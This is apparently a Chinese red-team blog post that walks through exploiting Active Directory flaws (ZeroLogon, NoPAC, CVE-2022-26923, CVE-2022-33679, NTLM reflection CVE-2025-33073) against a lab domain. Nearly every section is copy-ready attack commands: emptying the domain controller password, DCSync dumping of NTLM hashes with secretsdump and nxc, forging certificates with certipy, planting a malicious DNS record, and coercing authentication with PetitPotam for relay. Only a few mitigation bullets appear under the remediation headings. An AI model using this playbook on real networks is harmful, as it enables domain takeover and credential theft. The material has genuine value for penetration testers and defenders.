ALL-IN 域内漏洞梭哈的艺术

ZeroLogon – CVE-2020-1472

利用条件

工具列表

攻击过程

  1. 扫描域控,查看是否存在ZeroLogon漏洞
   # ZeroLogon漏扫不需要身份认证
   # 注意:这个漏洞需要对域控重放上百次攻击包,耗时较长,请耐心等待
   python3 main.py zerologon -target 172.28.1.1 -u worker@apt.org -no-pass -tf dc_list.txt

   # 使用NetExec进行漏扫,线程设置为50加快扫描速度,超时时间设置为120秒,防止没扫描完程序就退出
   nxc smb dc_list.txt -t 50 --timeout 120 -M zerologon
  1. 执行漏洞利用脚本,将域控账号密码置空
   # 入参应该是域控的NetBIOS+域控IP
   python3 set_empty_pw.py ad1 172.28.1.1
  1. 使用空密码登入域控进行DCSync,获取域控原来的Hashes
   # 我这里是进行DCSync,当然还可以进行其他操作,建议先获取域控Hashes恢复域控密码,防止域控出现异常
   # 执行结果类似AD1$_history0的后面跟着的就是历史Hashes
   ./secretsdump.py apt.org/ad1\$@172.28.1.1 -just-dc-user ad1\$ -just-dc-ntlm -history -no-pass
图片[1]李白你好-实战攻防ALL-IN 域内漏洞梭哈的艺术李白你好-实战攻防李白你好

提示:到这漏洞就已经利用完成了,接下来是恢复域控Hashes,读者可按需执行下面的操作

  1. 恢复域控原始密码
   # 首选:使用EXP提供的脚本恢复密码
   python3 reinstall_original_pw.py ad1 172.28.1.1 fa60d8a25808a80f7139cac501124c9c

   # 使用impacket的changepasswd.py恢复Hashes
   ./changepasswd.py apt.org/ad1\$@172.28.1.1 -newhashes fa60d8a25808a80f7139cac501124c9c -no-pass

   # 使用NetExec恢复Hashes
   nxc smb 172.28.1.1 -u ad1\$ -p '' -M change-password -o NEWNTHASH=fa60d8a25808a80f7139cac501124c9c

修复方案

NoPAC – CVE-2021-42287&CVE-2021-42278

利用条件

  • 拥有一个域账号
  • 域账号拥有创建机器账号的权限(默认开启,允许创建10个)

工具列表

攻击过程//todo 不支持使用TGT扫描,原因未知

  1. 扫描域控,查看是否存在NoPAC漏洞
   # todo 踩坑点:进行漏扫时发现无法使用TGT票据,待解决

   # 使用NetExec进行扫描,dc_list.txt是域控的ip列表
   nxc smb dc_lsit.txt -H bbe3917916fd5431dd37d287072bf52b -u worker -M nopac

   # 当扫描结果显示Got TGT from xxx.xxx.xxx
   python3 scanner.py apt.org/worker -use-ldap -all -hashes :bbe3917916fd5431dd37d287072bf52b -dc-ip 172.28.1.1
图片[2]李白你好-实战攻防ALL-IN 域内漏洞梭哈的艺术李白你好-实战攻防李白你好
  1. 查看当前账号创建机器账号的配额(当配额>0时,可使用当前账号进行漏洞利用)
   # 当执行结果显示MachineAccountQuota: 10时,说明当前账号能创建10个机器账号

   # 使用TGT票据查看
   KRB5CCNAME=ticket.ccache nxc ldap 172.28.1.1 --use-kcache -M maq

   # 使用Hashes查看
   nxc ldap 172.28.1.1 -H bbe3917916fd5431dd37d287072bf52b -u worker -M maq
  1. 执行漏洞利用脚本获取域管理员Hashes
   # 使用TGT票据进行攻击
   KRB5CCNAME=ticket.ccache python3 noPac.py apt.org/worker --impersonate administrator -dump -use-ldap -k -no-pass -dc-host ad1 -dc-ip 172.28.1.1 -just-dc-user administrator

   # 使用Hashes进行攻击
   python3 noPac.py apt.org/worker --impersonate administrator -dump -use-ldap -hashes :bbe3917916fd5431dd37d287072bf52b -dc-ip 172.28.1.1 -just-dc-user administrator

修复方案

缓解措施

  • 禁用域账号创建机器账号的权限
  • 禁止域账号对机器账号属性sAMAccountName的写权限

根除措施

CVE-2022-26923

利用条件

  • 拥有一个域账号
  • 域账号拥有创建机器账号的权限(默认开启)
  • 域内存在ADCS服务
  • 域控安装了域控制器证书(一般会自动安装)

工具列表

攻击过程//todo 补充域信息收集篇链接

  1. 查找域内ADCS服务器(在[域信息收集篇]()有介绍,这里不过多赘述)
  2. 查看当前账号创建机器账号的配额(在[域信息收集篇]()有介绍,这里不过多赘述)
  3. 创建一个和域控dnsHostName相同的机器账号
   # 返回结果显示,创建的机器账号为faker$,密码为u4j4rCq9FI0oTaJQ

   # 使用TGT票据创建机器账号
   KRB5CCNAME=ticket.ccache certipy account create -user faker -dns ad1.apt.org -target ad1.apt.org -dc-ip 172.28.1.1 -k

   # 使用Hashes创建机器账号
   certipy account create -user faker -dns ad1.apt.org -dc-ip 172.28.1.1 -u worker@apt.org -hashes bbe3917916fd5431dd37d287072bf52b
图片[3]李白你好-实战攻防ALL-IN 域内漏洞梭哈的艺术李白你好-实战攻防李白你好
  1. 扫描域控查看是否存在漏洞
   # 扫描结果显示 [xxx.xxx.xxx.xxx] success, target is vulnerable!!! 则说明存在漏洞
   # dc_list.txt是域控IP列表,注意:扫描的是域控,不是ADCS
   python3 main.py 26923 -u faker\$@apt.org -p u4j4rCq9FI0oTaJQ -tf dc_list.txt -ldap-scheme ldap
  1. 向ADCS申请域控证书
   # 我这里申请出来的证书是ad1.pfx
   certipy req -ca apt-ADCS-CA -template Machine -target 172.28.4.1 -u faker\$ -p u4j4rCq9FI0oTaJQ
  1. 利用pfx证书获取域控Hashes或TGT票据

情况一:Windows 2008及以上版本,默认的域控制器证书模板已支持客户端身份认证(Kerberos PKINIT认证)

   # 返回结果是Got hash for 'xxx.xxx.xxx'则说明攻击成功
   certipy auth -pfx ad1.pfx -dc-ip 172.28.1.1

情况二:Windows 2003及以下版本,默认的域控制器证书模板仅支持开启LDAPS

执行上述命令若出现KDC_ERR_PADATA_TYPE_NOSUPP或KDC_ERR_CLIENT_NAME_MISMATCH错误,则说明域控安装的域控制器证书缺少客户端身份认证支持

  1. 从pfx证书中提取PEM格式的证书和私钥 certipy cert -pfx ad1.pfx -nokey -out ad1.crt certipy cert -pfx ad1.pfx -nocert -out ad1.key
  2. 创建机器账号到域控基于资源的约束委派 # 机器账号使用上文创建的faker,我这里的域控账号是ad1 # 出现Delegation rights modified successfully!提示则说明RBCD创建成功 python3 passthecert.py -action write_rbcd -domain apt.org -delegate-to ad1\$ -delegate-from faker\$ -dc-ip 172.28.1.1 -crt ad1.crt -key ad1.key
  3. 通过委派域控进行DCSync获取域内账号的Hashes # 由于委派的账号是域控账号,这个一个机器账号,所以只能通过DCSync获取Hashes nxc smb 172.28.1.1 --delegate ad1\$ -u faker\$ -p u4j4rCq9FI0oTaJQ --ntds

修复方案

缓解措施

  • 禁用域账号创建机器账号的权限
  • 禁止域账号对机器账号属性dnsHostName的写权限

根除措施

CVE-2022-33679

利用条件

  • 域内存在不需要Kerberos预认证的账号
  • 域控支持RC4-MD4弱加密

工具列表

攻击过程

  1. 扫描域控,查看是否开启了RC4-MD4弱加密
   # 踩坑点:这个脚本的-dns-tcp参数存在异常,建议直接把域控的ip存放在dc_list.txt文件,直接进行批量扫描
   # 当扫描结果显示 hash 33679 则说明,域控开启了RC4-MD4

   # 使用TGT票据扫描所有域控,查看是否存在机器开启了RC4-MD4
   KRB5CCNAME=ticket.ccache python3 main.py 33679 -dc-ip 172.28.1.1 -k -tf dc_list.txt

   # 使用域账号,不带密码进行扫描,查看是否存在机器开启了RC4-MD4
   python3 main.py 33679 -dc-ip 172.28.1.1 -u worker@apt.org -no-pass -tf dc_list.txt
  1. 查找不需要Kerberos预认证的账号(在[域信息收集篇]()有介绍,这里不过多赘述)
  2. 获取目标账号(不需要Kerberos预认证的账号)的ST票据
   # 如果DNS解析存在异常,可使用-dc-ip指定DNS解析服务器
   # 这里是使用addpc账号申请对ad1.apt.org的CIFS服务票据
   python3 CVE-2022-33679.py apt.org/addpc ad1.apt.org

修复方案

缓解措施

  • 为所有账号开启Kerberos预认证
  • 禁用域控RC4-MD4弱加密支持

根除措施

NTLM Reflection – CVE-2025-33073

利用条件

  • 拥有一个域账号
  • 域账号拥有添加DNS记录的权限(默认开启)
  • 被攻击机器在域内
  • 被攻击机器没有开启SMB签名(非域控默认不开启)

工具列表

攻击过程

  1. 扫描没有开启SMB签名的机器
   # 因为SMB协议特性,线程数过低或或过高,超时时间过段,会扫不出来结果
   # 建议线程数稍高,超时时间稍长
   # 当扫描结果显示signing:False时,说明此机器存在NTLM反射漏洞
   nxc smb 172.28.4.0/24 -t 50 --timeout 10
图片[4]李白你好-实战攻防ALL-IN 域内漏洞梭哈的艺术李白你好-实战攻防李白你好
  1. 为中继服务器也就是攻击者添加DNS记录
   # 这个漏洞的核心payload是被攻击机器名+1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA这个DNS记录,注意不要写错
   # 当然也可以使用通杀payload:LOCALHOST1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

   # 踩坑点:当dnstool.py执行后返回noSuchObject,可能DNS存储区域不在默认的域区域,使用--forest或--legacy,往林区域或系统区域添加DNS记录

   # 方法一:在不知道密码和Hashes的情况下,使用TGT添加DNS记录
   KRB5CCNAME=ticket.ccache python3 dnstool.py ad1.apt.org -u 'apt.org\worker' -k -r LOCALHOST1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -a add -d 172.28.186.1

   # 方法二:使用Hashes添加DNS记录
   python3 dnstool.py 172.28.1.1 -u 'apt.org\worker' -p 'aad3b435b51404eeaad3b435b51404ee:bbe3917916fd5431dd37d287072bf52b' -r LOCALHOST1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -a add -d 172.28.186.1
  1. 开启NTLM中继服务监听
   # 这里只开启SMB服务监听,其他服务关闭

   # 踩坑点:假设使用代理进入目标内网,ntlmrelayx.py也要设置代理
   ntlmrelayx.py -t 172.28.4.1 -smb2support --no-http-server --no-wcf-server --no-raw-server --no-rpc-server 
  1. 使用强制认证漏洞,让被攻击机器对中继服务器发起强制认证
   # 方法一:使用TGT票据进行强制认证

   # 踩坑点:使用TGT票据时不能使用IP访问,所有地址均要使用域名
   KRB5CCNAME=ticket.ccache python3 PetitPotam.py -k LOCALHOST1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA adcs.apt.org

   # 方法二:使用Hashes进行强制认证
   python3 PetitPotam.py -d apt.org -u worker -hashes :bbe3917916fd5431dd37d287072bf52b LOCALHOST1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 172.28.4.1

修复方案

缓解措施

  • 禁止普通用户添加DNS记录的权限
  • 为机器开启SMB签名

根除措施

© 版权声明
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容